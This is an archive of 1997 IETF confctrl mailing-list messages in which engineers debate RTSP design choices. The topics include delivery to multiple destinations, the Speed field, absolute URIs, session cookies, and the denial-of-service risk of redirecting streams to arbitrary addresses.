Received: from hubbub.cisco.com (mailgate-sj-1.cisco.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA22749>; Wed, 9 Apr 1997 05:53:08 -0700
Received: from oranlt.cisco.com (sj-dial-3-34.cisco.com [171.68.179.35]) by hubbub.cisco.com (8.8.4-Cisco.1/CISCO.GATE.1.1) with SMTP id FAA12895; Wed, 9 Apr 1997 05:51:41 -0700 (PDT)
Message-Id: <3.0.1.32.19970409085139.007ad810@pointer.cisco.com>
X-Sender: oran@pointer.cisco.com
X-Mailer: Windows Eudora Pro Version 3.0.1 (32)
Date: Wed, 09 Apr 1997 08:51:39 -0400
To: Philip Lantz <prl@ideal.jf.intel.com>, confctrl@ISI.EDU
From: David Oran <oran@cisco.com>
Subject: Re: RTSP - delivery to multiple destinations
In-Reply-To: <2.2.32.19970409064314.00692334@ibeam.intel.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 11:43 PM 4/8/97 -0700, Philip Lantz wrote:
>In today's meeting we discussed whether RTSP should support a client
>requesting delivery of the media streams to multiple addresses. After the
>discussion, I thought of some additional points.
>

Phil, a few comments on your comments...
>...in a conference. However, the use of a single RTSP session for all
>recipients has some advantages:
>
>1) The server can maintain a single state for all recipients, instead of
>duplicating it for each, thus conserving server resources.
>
True, except the server now has to handle the duplication of media data in
the session, and schedule multiple packets per stream, and handle the
problem that it may have enough resources to handle "n" delivery addresses
on the current session, but not "n+1". If a new destination joins, now you
have to disrupt ongoing media delivery to the existing participants in
order to start delivery to the newly-joined recipient. Ditto for a
participant leaving.

>2) If the server is constrained by resources other than network bandwidth,
>the use of a single session can allow the server to support more recipients
>than it could if multiple sessions were used. For example, disk bandwidth
>could limit the number of sessions a server can support, but if the same
>disk file is being served to multiple recipients, the server could handle
>additional recipients, up to the limit of its network connection.
>
I think you may have a point about disk bandwidth, but there are some known
schemes to control disk bandwidth in the presence of multiple recipients of
the same stream that work independently of whether the recipients are in
the same session or not (e.g. pyramid broadcasting). It's hard to make an
absolutely convincing case that the extra state caused by multiple sessions
is worse than the extra state needed to keep track of the multiple
recipients of a single stream in one session.

>3) It is easier for a client to be able to request support for all the
>destinations in one operation (which may fail), rather than requesting them
>one at a time and possibly having some succeed and some fail. (I admit the
>client can solve this in other ways; it is a minor advantage.)
>
This could be seen as either an advantage or a disadvantage depending on
whether the client would rather have partial failure or complete failure if
not all destinations can be handled.

>4) Although there is no requirement or expectation of a guarantee of the
>maximum skew between the streams to the various destinations, I think it is
>reasonable to expect that the skew will be minimized if all the streams are
>started with a single PLAY message rather than a series of them.
>
Maybe, except we may be talking about an effect smaller in magnitude than
the delay dispersion among the recipients. What's your expectation of how
long it takes a server to service a PLAY command?


-----------------
David R. Oran
Cisco Systems		Direct: 408-527-0567
7 Ladyslipper Lane	Home Office: 508-264-2048,  Home: 508-263-2705
Acton, MA 01720	EMail: oran@cisco.com


From majordom@ISI.EDU  Wed Apr  9 06:26:44 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA17961>; Wed, 9 Apr 1997 07:26:50 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA17955>; Wed, 9 Apr 1997 07:26:48 -0700
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA25908>; Wed, 9 Apr 1997 07:26:48 -0700
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id KAA21409; Wed, 9 Apr 1997 10:26:46 -0400 (EDT)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id KAA23643; Wed, 9 Apr 1997 10:26:45 -0400 (EDT)
Message-Id: <334BA724.6E1B@cs.columbia.edu>
Date: Wed, 09 Apr 1997 10:26:44 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Philip Lantz <prl@ideal.jf.intel.com>
Cc: confctrl@ISI.EDU
Subject: Re: RTSP - delivery to multiple destinations
References: <2.2.32.19970409064314.00692334@ibeam.intel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Specifying several addresses in the same SETUP wouldn't be too hard.
Adding/dropping destinations to the same session would seem to be
messier. Suggestions solicited.

From majordom@ISI.EDU  Wed Apr  9 06:26:44 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA17961>; Wed, 9 Apr 1997 07:26:50 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA17955>; Wed, 9 Apr 1997 07:26:48 -0700
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA25908>; Wed, 9 Apr 1997 07:26:48 -0700
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id KAA21409; Wed, 9 Apr 1997 10:26:46 -0400 (EDT)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id KAA23643; Wed, 9 Apr 1997 10:26:45 -0400 (EDT)
Message-Id: <334BA724.6E1B@cs.columbia.edu>
Date: Wed, 09 Apr 1997 10:26:44 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Philip Lantz <prl@ideal.jf.intel.com>
Cc: confctrl@ISI.EDU
Subject: Re: RTSP - delivery to multiple destinations
References: <2.2.32.19970409064314.00692334@ibeam.intel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Specifying several addresses in the same SETUP wouldn't be too hard.
Adding/dropping destinations to the same session would seem to be
messier. Suggestions solicited.

From majordom@ISI.EDU  Fri Apr 11 05:16:31 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA25223>; Fri, 11 Apr 1997 12:16:35 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA25217>; Fri, 11 Apr 1997 12:16:34 -0700
Received: from mailbag.jf.intel.com by venera.isi.edu (5.65c/5.61+local-26)
	id <AA00285>; Fri, 11 Apr 1997 12:16:33 -0700
Received: from ideal.jf.intel.com (ideal.jf.intel.com [134.134.130.5]) by mailbag.jf.intel.com (8.8.5/8.7.3) with ESMTP id MAA07593; Fri, 11 Apr 1997 12:18:52 -0700 (PDT)
Received: from cirrus (cirrus.jf.intel.com [134.134.221.167])
          by ideal.jf.intel.com (8.8.5/8.8.4) with SMTP
	  id MAA18637; Fri, 11 Apr 1997 12:13:52 -0700 (PDT)
Message-Id: <2.2.32.19970411191631.0099756c@ibeam.intel.com>
X-Sender: prl@ibeam.intel.com
X-Mailer: Windows Eudora Pro Version 2.2 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Fri, 11 Apr 1997 12:16:31 -0700
To: David Oran <oran@cisco.com>, confctrl@ISI.EDU
From: Philip Lantz <prl@ideal.jf.intel.com>
Subject: Re: RTSP - delivery to multiple destinations
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 08:51 AM 4/9/97 -0400, David Oran wrote:
>At 11:43 PM 4/8/97 -0700, Philip Lantz wrote:
>>4) Although there is no requirement or expectation of a guarantee of the
>>maximum skew between the streams to the various destinations, I think it is
>>reasonable to expect that the skew will be minimized if all the streams are
>>started with a single PLAY message rather than a series of them.
>>
>Maybe, except we may be talking about an effect smaller in magnitude than
>the delay dispersion among the recipients. What's your expectation of how
>long it takes a server to service a PLAY command?

I wasn't thinking of how long it takes to service each PLAY command so much
as the possibility of the server interleaving the processing of other
unrelated commands from other clients among the PLAY commands. I agree the
effect is probably small.

Philip Lantz
prl@ibeam.intel.com


From majordom@ISI.EDU  Wed Apr 16 03:17:03 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15734>; Wed, 16 Apr 1997 10:51:52 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15728>; Wed, 16 Apr 1997 10:51:49 -0700
Received: from INET-04-IMC.microsoft.com (mail4.microsoft.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA07677>; Wed, 16 Apr 1997 10:51:48 -0700
Received: by INET-04-IMC with Internet Mail Service (5.0.1458.14)
	id <JBZ5RHQV>; Wed, 16 Apr 1997 10:43:35 -0700
Message-Id: <503A2A3C2932CF118D8800805FD44E18032F7468@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: 'Henning Schulzrinne' <schulzrinne@cs.columbia.edu>,
        Philip Lantz
	 <prl@ideal.jf.intel.com>
Cc: confctrl@ISI.EDU
Subject: RE: RTSP - delivery to multiple destinations
Date: Wed, 16 Apr 1997 10:17:03 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.14)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

RTSP seems to be undergoing some undesirable scope creep due to the
introduction that a user could register other addresses to also receive
a session. The original RTSP definition carved out a discreet domain,
explicitly stating that certain areas would be out-of-scope. These
included specific setup/registration/announcement approaches. I suggest
that we return to our original vision.

I believe that the provision of letting a user register other addresses
is something which should be apart of a "conference control" spec (e.g.,
H.323, MBONE) and therefore should be declared out-of-scope for RTSP.
Ditto with the concern of how to add/drop destinations. 

I would suggest that RTSP merely state that we envision RTSP working
with conference control specification(s) such as H.323 and that those
specifications will identify such things such as registering other
recepients, adding and dropping sessions, etc.

> -----Original Message-----
> From:	Henning Schulzrinne [SMTP:schulzrinne@cs.columbia.edu]
> Sent:	Wednesday, April 09, 1997 7:27 AM
> To:	Philip Lantz
> Cc:	confctrl@ISI.EDU
> Subject:	Re: RTSP - delivery to multiple destinations
> 
> Specifying several addresses in the same SETUP wouldn't be too hard.
> Adding/dropping destinations to the same session would seem to be
> messier. Suggestions solicited.

From majordom@ISI.EDU  Wed Apr 16 10:06:13 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA16558>; Wed, 16 Apr 1997 11:06:34 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA16552>; Wed, 16 Apr 1997 11:06:33 -0700
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA08493>; Wed, 16 Apr 1997 11:06:31 -0700
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id OAA20696; Wed, 16 Apr 1997 14:06:28 -0400 (EDT)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id OAA15088; Wed, 16 Apr 1997 14:06:14 -0400 (EDT)
Message-Id: <33551515.2C0B@cs.columbia.edu>
Date: Wed, 16 Apr 1997 14:06:13 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Eric Fleischman <ericfl@MICROSOFT.com>
Cc: Philip Lantz <prl@ideal.jf.intel.com>, confctrl@isi.edu
Subject: Re: RTSP - delivery to multiple destinations
References: <503A2A3C2932CF118D8800805FD44E18032F7468@RED-68-MSG.dns.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I agree that getting RTSP to add/drop participants is not appropriate -
just wanted to give people a chance to come up with
solutions/suggestions. No such suggestions, elegant or otherwise, have
been put forth, so I'd like to consider this issue closed at this point
(if there are no objections/ideas), particularly since this would likely
complicate the state machinery and protocol operation significantly.

To allow streaming of data through firewalls, the client has to be able
to specify the desired destination port. Allowing specification of a
single destination address (unicast or multicast) does not complicate
the protocol or change its operation in a material way [and simplifies
integration of RTSP servers into Mbone multicast sessions], but does
offer some 'improved' denial of service attack possibilities. It should
be noted, however, that UDP commands with faked source addresses also
offer remote-control packet bombing opportunities even if SETUP cannot
establish a destination address.

Henning

From majordom@ISI.EDU  Wed Apr 16 06:01:34 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA23102>; Wed, 16 Apr 1997 13:03:15 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA23096>; Wed, 16 Apr 1997 13:03:13 -0700
Received: from mailhost.nttlabs.com (ns.nttlabs.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA15151>; Wed, 16 Apr 1997 13:03:12 -0700
Received: from coltrane.nttlabs.com by mailhost.nttlabs.com (8.8.4+2.7Wbeta4/3.5Wpl2(97/01/23))
	id NAA14384; Wed, 16 Apr 1997 13:01:35 -0700 (PDT)
Message-Id: <199704162001.NAA14384@mailhost.nttlabs.com>
To: Eric Fleischman <ericfl@MICROSOFT.com>
Cc: "'Henning Schulzrinne'" <schulzrinne@cs.columbia.edu>,
        Philip Lantz <prl@ideal.jf.intel.com>, confctrl@ISI.EDU
Subject: Re: RTSP - delivery to multiple destinations 
Reply-To: sumisu@nttlabs.com (Jeffrey D. Smith)
In-Reply-To: Your message of "Wed, 16 Apr 1997 10:17:03 PDT"
References: <503A2A3C2932CF118D8800805FD44E18032F7468@RED-68-MSG.dns.microsoft.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk
	 
Date: Wed, 16 Apr 1997 13:01:34 -0700
From: Jeff Smith <sumisu@nttlabs.com>

I absolutely agree with Eric.  The originally RTSP (and the
discussions that we began in Montreal) clearly seperated the roles of
the channel/stream control vs. setup/invitation/adding/dropping etc.

SIP, SCCP (or other proposals) can take care of much of what we are
now seeing as suggested extensions of RTSP.

js

From majordom@ISI.EDU  Thu Apr 17 13:19:59 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA29324>; Thu, 17 Apr 1997 04:20:24 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA29316>; Thu, 17 Apr 1997 04:20:21 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-23)
	id <AA19045>; Thu, 17 Apr 1997 04:20:07 -0700
Received: from waffle.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.11795-0@bells.cs.ucl.ac.uk>; Thu, 17 Apr 1997 12:20:02 +0100
To: Mark Handley <mjh@ISI.EDU>
Cc: confctrl@ISI.EDU
Subject: sdr: relaying between sessions
Date: Thu, 17 Apr 1997 12:19:59 +0100
Message-Id: <1373.861275999@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



 Mark

anyone thought of writing a plugin to allow creation of sessions that
are multicast relays between other sessions (i.e. click on sessoon a,
b and get a c, that is the sum....union......maybe even intersection
would be a useful session mux type as well...)

 jon


From majordom@ISI.EDU  Thu Apr 17 07:20:12 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA05776>; Thu, 17 Apr 1997 08:24:02 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA05770>; Thu, 17 Apr 1997 08:24:00 -0700
Received: from buttle.lcs.mit.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA00864>; Thu, 17 Apr 1997 08:23:59 -0700
Received: from buttle.lcs.mit.edu by buttle.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id LAA10331; Thu, 17 Apr 1997 11:20:12 -0400
From: Mark Handley <mjh@isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Cc: confctrl@ISI.EDU
Subject: Re: sdr: relaying between sessions 
In-Reply-To: Your message of "Thu, 17 Apr 1997 12:19:59 BST."
             <1373.861275999@cs.ucl.ac.uk> 
Date: Thu, 17 Apr 1997 11:20:12 -0400
Message-Id: <10329.861290412@buttle.lcs.mit.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>anyone thought of writing a plugin to allow creation of sessions that
>are multicast relays between other sessions (i.e. click on sessoon a,
>b and get a c, that is the sum....union......maybe even intersection
>would be a useful session mux type as well...)

Doing the relay is not too hard, but adding it to sdr would mean
working around sdr's model of what a session is.  You'd have to start
up different parts of a mixer separately, and then externally plumb
them together.  Such as architecture seems a little odd as a way of
doing relays and not too efficient either.

However, if you're just relaying and not transcoding, there seems
limited reason to do such a thing.  If you want to transcode, then
perhaps modifying sdr to perform this would be a better path than
working around sdr's current limitations.

Mark


From majordom@ISI.EDU  Thu Apr 17 06:40:16 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA27425>; Thu, 17 Apr 1997 13:41:39 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA27419>; Thu, 17 Apr 1997 13:41:38 -0700
Received: from murrow.prognet.com (prognet.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA23811>; Thu, 17 Apr 1997 13:41:37 -0700
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA12780
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Thu, 17 Apr 1997 13:42:52 -0700
Message-Id: <3.0.32.19970417134015.0102b0bc@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Thu, 17 Apr 1997 13:40:16 -0700
To: confctrl@isi.edu
From: Rob Lanphier <robla@prognet.com>
Subject: RTSP: 2. Use of PEP for Require and Transport-Require
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

The Require field (see section 11.17 of the current
draft) provides a simple mechanism for capability
query.

A standard for providing this functionality (and
more) is PEP, an option negotiation method from the
HTTP working group.

The authors are mostly in agreement that PEP is/will
be a really good thing, and the only question is
whether it can immediately placed into the RTSP
specification, or whether there should be an
intermediate mechanism pending the completion of PEP.

The general feeling in Memphis was that people needed
more time to look at PEP, and make sure that some
such mechanism is needed. There would be more
deliberation on the mailing list on this topic before
any sort of decision one way or another is made.

Some folks thought of this as something that can be
added later, to which Henrik Frystyk Nielsen from the
W3C noted that there is a need for some option
negotiation core to the protocol, which was a lesson
learned from the original HTTP specification.


---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networ
s-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/firewall.html
For more information on RTSP:               http://www.real.com/prognet/rt

From majordom@ISI.EDU  Thu Apr 17 06:41:34 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA27554>; Thu, 17 Apr 1997 13:42:57 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA27548>; Thu, 17 Apr 1997 13:42:56 -0700
Received: from murrow.prognet.com (prognet.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA23987>; Thu, 17 Apr 1997 13:42:55 -0700
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA12963
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Thu, 17 Apr 1997 13:44:10 -0700
Message-Id: <3.0.32.19970417134133.0102b0bc@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Thu, 17 Apr 1997 13:41:34 -0700
To: confctrl@isi.edu
From: Rob Lanphier <robla@prognet.com>
Subject: RTSP: 3. Speed field
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

"Speed" pertains to the sending of data faster than
its "natural" rate (i.e. the rate necessary for
just-in-time delivery). It is particularly useful
when subsampling of the data to implement features
like visual fast-forward or rewind will not work.

The authors recommend that this field remain intact
with the following cautionary note:

     Use of this field changes the bandwidth used for
     data delivery. It is meant for use in specific
     circumstances where preview of the presentation
     at a higher or lower rate is necessary.
     Implementors should keep in mind that bandwidth
     for the session may be negotiated beforehand (by
     means other than RTSP), and therefore
     re-negotiation may be necessary. When data is
     delivered over UDP, it is highly recommended
     that means (such as RTCP) be applied to
     ascertain the amount of data being received
     against that sent.

The rough consensus is to leave the speed field in
with cautionary notes about misuse. A few of the
observations from around the room:
   o Eric Fleishman from Microsoft noted that there
     should be a pre-negotiated maximum bandwidth for
     this.
   o Generally agreed that sending 28k stream at 56k
     is the same as choosing 56k stream over 28k, so
     the danger introduced by the speed parameter is
     minimal.
   o Negotiated duration of speed is a bad idea,
     according to Steve Casner of Precept.
   o Mark Handley and Steve Casner noted that
     congestion control should be handled by the
     underlying transport.


---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/firewall.html
For more information on RTSP:               http://www.real.com/prognet/rt

From majordom@ISI.EDU  Thu Apr 17 06:42:10 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA27579>; Thu, 17 Apr 1997 13:43:34 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA27573>; Thu, 17 Apr 1997 13:43:33 -0700
Received: from murrow.prognet.com (prognet.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA24037>; Thu, 17 Apr 1997 13:43:32 -0700
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA13063
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Thu, 17 Apr 1997 13:44:46 -0700
Message-Id: <3.0.32.19970417134209.0102b0bc@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Thu, 17 Apr 1997 13:42:10 -0700
To: confctrl@isi.edu
From: Rob Lanphier <robla@prognet.com>
Subject: RTSP: 4. Relative vs. Absolute URIs
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Currently, the Request-URI always contains the
absolute URI. This differs from HTTP, which must
maintain backward compatibility with the original
design, for better or for worse. Using the absolute
URI makes virtual hosting easier. However, this is
incompatible with HTTP/1.1, which may be a bad idea.

For example, to access rtsp://server.com/foo.au with
a relative URI, the message would be:

     SETUP /foo.au RTSP/1.0 1
     Host: server.com

For an an absolute URI:

     SETUP rtsp://server.com/foo.au RTSP/1.0 1

It was virtually unanimous that absolute URIs should
be used, so the draft will be kept as it is.

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/firewall.html
For more information on RTSP:               http://www.real.com/prognet/rt

From majordom@ISI.EDU  Thu Apr 17 06:39:43 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA27383>; Thu, 17 Apr 1997 13:41:09 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA27370>; Thu, 17 Apr 1997 13:41:06 -0700
Received: from murrow.prognet.com (prognet.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA23769>; Thu, 17 Apr 1997 13:41:04 -0700
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA12731
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Thu, 17 Apr 1997 13:42:19 -0700
Message-Id: <3.0.32.19970417133941.0102b0bc@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Thu, 17 Apr 1997 13:39:43 -0700
To: confctrl@isi.edu
From: Rob Lanphier <robla@prognet.com>
Subject: RTSP: 1. Use of Cookies for session maintenance
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

The first issue discussed was the possible use of
HTTP-style cookies for managing core RTSP server
state (see RFC 2109 for details about HTTP Cookies).
This is contrary to the latest draft (draft02), which
uses the "Session:" field to accomplish this.

The proposed cookie-style method would involve the
server sending Set-Cookie: Session="123"; Version=1;
Path = "/twister" and for the client to return later
Cookie: Session = "123"; \$Version=1; \$Path =
"/twister". In the response to the CLOSE message, the
server would simply send Set-Cookie: Session="123";
Version=1; Max-Age=0 to get rid of the cookie on the
client side. Cookies also have a time-out, so that a
server may limit the lifetime of a session at will.

There was no detectable support for using cookies for
the core RTSP state maintenence. It was generally
felt that cookies were overkill for what was being
accomplished. Furthermore, it was stated that cookies
were intended as a generalized state mechanism
independent of the core operation of the server,
whereas the state mechanism needed for this is core
to the operation of the server.

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/firewall.html
For more information on RTSP:               http://www.real.com/prognet/rt

From majordom@ISI.EDU  Thu Apr 17 08:09:30 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA06394>; Thu, 17 Apr 1997 15:10:54 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA06388>; Thu, 17 Apr 1997 15:10:52 -0700
Received: from murrow.prognet.com (prognet.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA06376>; Thu, 17 Apr 1997 15:10:51 -0700
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA22564
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Thu, 17 Apr 1997 15:12:06 -0700
Message-Id: <3.0.32.19970417150929.0103cf30@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Thu, 17 Apr 1997 15:09:30 -0700
To: confctrl@isi.edu
From: Rob Lanphier <robla@prognet.com>
Subject: RTSP: 6. Destination for data that is not the source of
  control messages
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At Memphis, the general consensus was that there
should be a mechanism to allow a client to direct the
data stream to a unicast or multicast address other
than the current one.

The problem one can imagine is denial of service,
where one could flood any arbitrary machine on the
Internet with unrequested RTSP streams. While there
are certainly other ways of doing this today, the
idea that one could cause the streams to come from a
variety of locations from which one has no special
privledges is particularly troublesome.

Security problems with this approach must be resolved
before widespread implementation of this feature
could be expected. Nonetheless, the general feeling
that policy decisions should not be made in the
protocol requirements.

The issue of of having multiple destinations for a
stream in a single session was also discussed. This
would enable a conference participant to request that
a stream be delivered to all the other unicast
participants in the conference.

David Oran from Cisco pointed out that if the
sessions aren't tightly synchronized, then having
multiple unicast addresses isn't a very big win. The
same result could also be achieved by simply creating
multiple RTSP sessions each controlling a single
destination, rather than a single RTSP session
controlling multiple destinations. Having only to
worry about single destinations simplifies the
protocol in a number of ways.

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/firewall.html
For more information on RTSP:               http://www.real.com/prognet/rt

From majordom@ISI.EDU  Thu Apr 17 08:08:05 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA06333>; Thu, 17 Apr 1997 15:09:28 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA06327>; Thu, 17 Apr 1997 15:09:26 -0700
Received: from murrow.prognet.com (prognet.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA06307>; Thu, 17 Apr 1997 15:09:26 -0700
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA22452
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Thu, 17 Apr 1997 15:10:41 -0700
Message-Id: <3.0.32.19970417150804.0103cf30@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Thu, 17 Apr 1997 15:08:05 -0700
To: confctrl@isi.edu
From: Rob Lanphier <robla@prognet.com>
Subject: RTSP: 5. Multiple destinations for a stream or multi-stream
  control
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Due to a mislabled and poorly-written slide, this
point was unclear, and needs more clarification
before a reasonable discussion can occur on this.
Unfortunately, since several issues were discussed
during the presentation of this issue, it probably be
dangerous to act like any single issue is what was
really discussed. However, all issues discussed while
this slide was up will find their way onto the April
1997 open issues list, and anyone who would like to
take a stab at summarizing the sub-issues important
to them on the confctrl list are encouraged to do so.

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/firewall.html
For more information on RTSP:               http://www.real.com/prognet/rt

From majordom@ISI.EDU  Thu Apr 17 08:10:32 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
